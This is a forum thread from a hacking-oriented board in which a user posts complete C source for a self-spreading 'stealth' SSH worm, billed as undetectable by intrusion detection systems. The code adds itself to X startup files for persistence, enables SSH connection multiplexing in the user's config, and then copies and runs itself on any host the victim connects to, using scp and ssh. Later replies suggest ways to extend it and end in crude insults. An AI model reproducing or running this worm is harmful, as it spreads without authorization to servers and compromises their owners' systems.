Zoklet.net

Go Back   Zoklet.net > Technology > Technophiles and Technophiliacs > Codes of all kinds
Welcome, Dfg.
You last visited: Today at 12:10 AM
Private Messages: Unread 0, Total 801.
User CP Home IRC Chat FAQ Community Calendar New Posts Search Quick Links Log Out

Advertisement
Advertisement
No logs - Anonymous IP
Reply
 
Thread Tools Search this Thread
Old 02-20-2010, 05:34 PM   #1
Fractals
Grand Duke
 
Join Date: Mar 2009
Location: Islands of Calleja
Posts: 10,228
Thanks: 1,073
Thanked 827 Times in 688 Posts
Default "Stealth" SSH worm PoC

I wrote a "stealth" ssh worm, it should be fully undetectable from IDSs because it doesn't try to bruteforce the password. Instead, it enables SSH multiplexing on the infected hosts and listens for a ssh connection to be made. Then it copies itself with scp and executes itself on the server. Unfortunatly sshd can't execute commands on the client (AFAIK), so it can only spread if the infected machine acts as a client, but only servers can get infected.

Code:
#include <stdio.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <dirent.h>

char fileLoc[] = "~/.opensshworm"; //default location to store worm

int autostart() {   //only works with X
    FILE *file;
    int len, i;
    char *buf, filename[2][12] = {"~/.xinitrc", "~/.xsession"};

    for(i=0; i<2; i++) {
        file = fopen(filename[i], "a+");
        if ( file == NULL ) return 0;

        fseek(file, 0, SEEK_END);
        len = ftell(file) + 1;      //get file length
        buf = (char *)malloc(len);
        rewind(file);
        fread(buf, 1, len, file);

        if (strstr(buf, fileLoc) != NULL) {
            free(buf);
            continue;  //already there!
        }
        free(buf);
        fseek(file, 0, SEEK_END);
        fwrite("\n", 1, 1, file);
        fwrite(fileLoc, 1, strlen(fileLoc), file);
        fclose(file);
    }
    return 1;
}

int setupSSH() {
    FILE *file;
    int len;
    char *ptr[5], *buf,
        t[] = "\nHost *\n   ControlMaster auto\n   ControlPath ~/.ssh/master-\%r@\%h:\%p\n";

    file = fopen("~/.ssh/config", "a+");
    if ( file == NULL ) return 0;

    fseek(file, 0, SEEK_END);
    len = ftell(file) + 1;      //get file length
    buf = (char *)malloc(len);
    rewind(file);
    fread(buf, 1, len, file);

    ptr[0] = strstr(buf, "Host *");
    if (ptr[0] != NULL) {
        ptr[1] = strstr(ptr[0]+4, "Host");
        ptr[2] = strstr(buf, "ControlMaster auto");
        if ( (ptr[2] > ptr[0]) && ( (ptr[2] < ptr[1]) | (ptr[1] == NULL)) ) { //already exists
            free(buf);
            return 1;
        }
    }

    fseek(file, 0, SEEK_END);
    fwrite(t, 1, strlen(t), file);
    fclose(file);
    free(buf);
    return 1;
}

int main(void) {
    if (autostart() == 0) return 0;
    if (setupSSH() == 0) return 0;

    DIR *ssh;
    struct dirent *dir;
    char *ptr, host[64], cmd[256];

    ssh = opendir(".ssh");
    if (ssh == NULL) {
        printf("error opening dir\n%i\n",errno);
        return 0;
    }
    while(1) {
        dir = readdir(ssh);
        if (dir == NULL) {  //if we checked all files, start over
            rewinddir(ssh);
            sleep(10);
            continue;
        }
        if (strncmp(dir->d_name, "master-", 7) == 0 ) {
            //ssh connection open, lets spread
            ptr = strchr(dir->d_name, '@');
            strcpy(host, ptr+1);
            ptr = strchr(host, ':');
            *ptr = 0;
            sprintf(cmd, "scp %s %s:%s && ssh %s %s &", fileLoc, host, fileLoc, host, fileLoc);
            system(cmd);
        }
    }
    closedir(ssh);
    return 1;
}

Last edited by Fractals; 02-25-2010 at 12:06 PM. Reason: autostart() now edits .xsession too
Fractals is offline   Reply With Quote Multi-Quote This Message Quick reply to this message Thanks
Old 02-25-2010, 06:29 AM   #2
Hi-Guy
Wealthy Merchant
 
Hi-Guy's Avatar
 
Join Date: Mar 2009
Location: United States
Posts: 566
Thanks: 50
Thanked 105 Times in 85 Posts
Grin Re: Hai

Quote:
Originally Posted by Fractals View Post
it can only spread if the infected machine acts as a client, but only servers can get infected.
Maybe you can add a routine that checks if sshd is running (and therefore assume it's a server); if it does, you can make your program copy and run a different payload.

Also, a client that does not have x server will be impervious to it, right?
__________________
Bai
Hi-Guy is offline   Reply With Quote Multi-Quote This Message Quick reply to this message Thanks
Old 02-25-2010, 11:55 AM   #3
Fractals
Grand Duke
 
Join Date: Mar 2009
Location: Islands of Calleja
Posts: 10,228
Thanks: 1,073
Thanked 827 Times in 688 Posts
Default Re: "Stealth" SSH worm PoC

I don't know of any vulnurabilities going the other way, but I'm kinda bored right now so I'll look into it. You're right about X, I should change my comments. xinitrc gets called by startx. I should also add it to .xsession, because sometimes it is called instead of xinitrc.
Fractals is offline   Reply With Quote Multi-Quote This Message Quick reply to this message Thanks
Old 02-25-2010, 12:34 PM   #4
Fractals
Grand Duke
 
Join Date: Mar 2009
Location: Islands of Calleja
Posts: 10,228
Thanks: 1,073
Thanked 827 Times in 688 Posts
Default Re: "Stealth" SSH worm PoC

I can't find any way to execute commands on the client. There might be some kind of buffer overflow, but then this program would get a lot bigger because it would have to send data pretending to be sshd. I like it's simplicity (read: I'm lazy).

It's kinda sad how slow this forum is. I wonder if theres any way we can increase traffic? I guess theres just not that many coders on zoklet...
Fractals is offline   Reply With Quote Multi-Quote This Message Quick reply to this message Thanks
Old 10-26-2011, 12:34 AM   #5
zecklips
Peasant
 
Join Date: Jan 2009
Location: inside your network
Posts: 270
Thanks: 7
Thanked 3 Times in 3 Posts
Default Re: "Stealth" SSH worm PoC

Eh every one just hangs out in the networking forms more. Also, zoklet isnt filled with coders. If it was promoted more im sure you would have had multiple responses to this.
__________________
RIP Totse May 24, 1989---January 17, 2009
zecklips is offline   Reply With Quote Multi-Quote This Message Quick reply to this message Thanks
Old 04-09-2013, 11:01 AM   #6
abhi771
Mud Farmer
 
Join Date: Apr 2013
Posts: 1
Thanks: 0
Thanked 0 Times in 0 Posts
Default Re: "Stealth" SSH worm PoC

Recently I have seen a blog post on SSH worm. SSH Worm based on Python code - scary code and worm have a look
http://hackoftheday.securitytube.net...ng-python.html
On that blog there one video on SSH worm.
abhi771 is offline   Reply With Quote Multi-Quote This Message Quick reply to this message Thanks
Old 04-09-2013, 11:09 AM   #7
Zok Jr.
Banned
 
Join Date: May 2010
Location: ☆ ★ ☆ ★
Posts: 9,889
Thanks: 2,506
Thanked 1,719 Times in 1,151 Posts
Default Re: "Stealth" SSH worm PoC

Fucking mud farmers.
Zok Jr. is offline   Reply With Quote Multi-Quote This Message Quick reply to this message Thanks
Old 04-09-2013, 11:11 AM   #8
Ph0x
Duke
 
Join Date: Jul 2010
Location: The Big Empty
Posts: 6,486
Thanks: 2,179
Thanked 1,258 Times in 843 Posts
Send a message via AIM to Ph0x
Default Re: "Stealth" SSH worm PoC

Quote:
Originally Posted by Zok Jr. View Post
Fucking mud farmers.
Fucking snitches.
Ph0x is offline   Reply With Quote Multi-Quote This Message Quick reply to this message Thanks
Old 04-09-2013, 11:23 AM   #9
Zok Jr.
Banned
 
Join Date: May 2010
Location: ☆ ★ ☆ ★
Posts: 9,889
Thanks: 2,506
Thanked 1,719 Times in 1,151 Posts
Default Re: "Stealth" SSH worm PoC

Quote:
Originally Posted by Ph0x View Post
Fucking snitches.
Alright, you know what? I'm gonna let you suck my dick, just this once, then leave me the fuck alone.
Zok Jr. is offline   Reply With Quote Multi-Quote This Message Quick reply to this message Thanks
Reply

Bookmarks

Tags
poc, ssh, stealth, worm

Quick Reply
Message:
Options


Currently Active Users Viewing This Thread: 1 (1 members and 0 guests)
Dfg

Posting Rules
You may post new threads
You may post replies
You may not post attachments
You may edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off

Forum Jump

Similar Threads
Thread Thread Starter Forum Replies Last Post
"Extra calories could make up to 20lbs a year!" and other "obesity war" idiocy. Toothlessjoe Pissin' Each Other Off 32 03-07-2012 12:12 AM
People that post "tits or gtfo", "omg a girl on the interwebz" ect ect NiggerBabyRocketLauncher Bat Country 36 12-25-2010 11:50 AM
Pics of "Rock Blocked" and "Legolas what do your elven eyes see" memes Myrmidones I need to find it on the internet 5 01-18-2010 06:12 PM
They finally changed the name of "Drug Culture" to "Not for Human Consumption" J J The Jet Plane Bat Country 11 07-05-2009 05:35 AM
"I knew you'd come" "Shoulda shot me when my back was turned, bitch." AKA Deep Cover driveby TV and Movies 5 06-10-2009 01:58 AM


All times are GMT +5. The time now is 02:13 AM.


Hot Topics
Join our Chatroom!
Users: 8
Messages/minute: 0
Topic: "Only rule: be nice or I'll cut your fucking face off, dumbshit"
Users: 27
Messages/minute: 1.6
Topic: "http://codelove.org :: Below is above in 2 codes 1 love. :: wh..."
Users: 18
Messages/minute: 5
Topic: "http://www.literotica...."
Advertisements
Your ad could go right HERE! Contact us!

Powered by vBulletin® Version 3.8.1
Copyright ©2000 - 2014, Jelsoft Enterprises Ltd.